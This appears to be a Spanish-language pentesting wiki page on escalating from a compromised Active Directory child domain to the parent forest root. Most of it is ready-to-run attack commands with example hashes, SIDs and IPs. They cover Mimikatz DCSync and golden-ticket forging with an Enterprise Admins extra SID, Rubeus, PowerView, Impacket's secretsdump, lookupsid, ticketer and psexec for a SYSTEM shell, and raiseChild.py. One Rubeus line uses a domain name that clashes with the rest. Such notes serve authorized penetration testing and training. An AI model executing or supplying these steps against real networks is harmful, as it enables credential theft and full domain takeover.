Child -> Parent Trusts
Para realizar este ataque tras comprometer un child domain, necesitamos lo siguiente:
El hash KRBTGT del child domain
El SID del child domain
El nombre de un usuario objetivo en el child domain (¡no necesita existir!)
El FQDN del child domain
El SID del grupo Enterprise Admins del root domain
Con estos datos recopilados, el ataque puede ejecutarse con Mimikatz.
from Windows
Mimikatz
Obtaining the KRBTGT Account's NT Hash using Mimikatz
En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f
.\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exitUsing Get-DomainSID
El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689
Import-Module .\PowerView.ps1
Get-DomainSIDObtaining Enterprise Admins Group's SID using Get-DomainGroup
El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519
Get-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsidEn este punto, hemos recopilado los siguientes datos:
Hash KRBTGT del child domain:
9d765b482771505cbe97411065964d5fSID del child domain:
S-1-5-21-2806153819-209893948-922872689Nombre de usuario objetivo en el child domain (¡no necesita existir!): elegimos un usuario ficticio:
hackerFQDN del child domain:
CHILD.PARENT.LOCALSID del grupo Enterprise Admins del root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Creating a Golden Ticket with Mimikatz
Generamos el Golden Ticket y ya lo tendremos en nuestra sesión actual.
.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exitRubeus
Creating a Golden Ticket using Rubeus
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /pttConfirming the Ticket is in Memory Using klist
klistPerforming a DCSync Attack
.\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exitfrom Linux
También podemos realizar el ataque mostrado en la sección anterior desde un host de ataque Linux. Para hacerlo, aún necesitaremos reunir la misma información:
El hash KRBTGT del dominio hijo
El SID del dominio hijo
El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!)
El FQDN del dominio hijo
El SID del grupo Enterprise Admins del dominio raíz
Manual Attack
Performing DCSync with secretsdump.py
En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f
secretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgtPerforming SID Brute Forcing using lookupsid.py
El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689
lookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"Grabbing the Domain SID & Attaching to Enterprise Admin's RID
El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519
lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"Hemos reunido los siguientes datos para construir el comando de nuestro ataque. Nuevamente, usaremos el usuario inexistente hacker para forjar nuestro Golden Ticket:
El hash KRBTGT del dominio hijo:
9d765b482771505cbe97411065964d5fEl SID del dominio hijo:
S-1-5-21-2806153819-209893948-922872689El nombre del usuario objetivo en el dominio hijo:
hackerEl FQDN del dominio hijo: CHILD.PARENT
.LOCALEl SID del grupo Enterprise Admins del dominio raíz:
S-1-5-21-3842939050-3880317879-2865463114-519
Constructing a Golden Ticket using ticketer.py
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hackerSetting the KRB5CCNAME Environment Variable
export KRB5CCNAME=$(pwd)/hacker.ccacheGetting a SYSTEM shell using Impacket's psexec.py
psexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5Automatic Attack (raiseChild.py)
Impacket también incluye la herramienta raiseChild.py, que automatiza la escalada del dominio hijo al dominio padre. Necesitamos especificar el Domain Controller objetivo y las credenciales de un usuario administrativo en el dominio hijo; el script hará el resto.
raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'Última actualización
¿Te fue útil?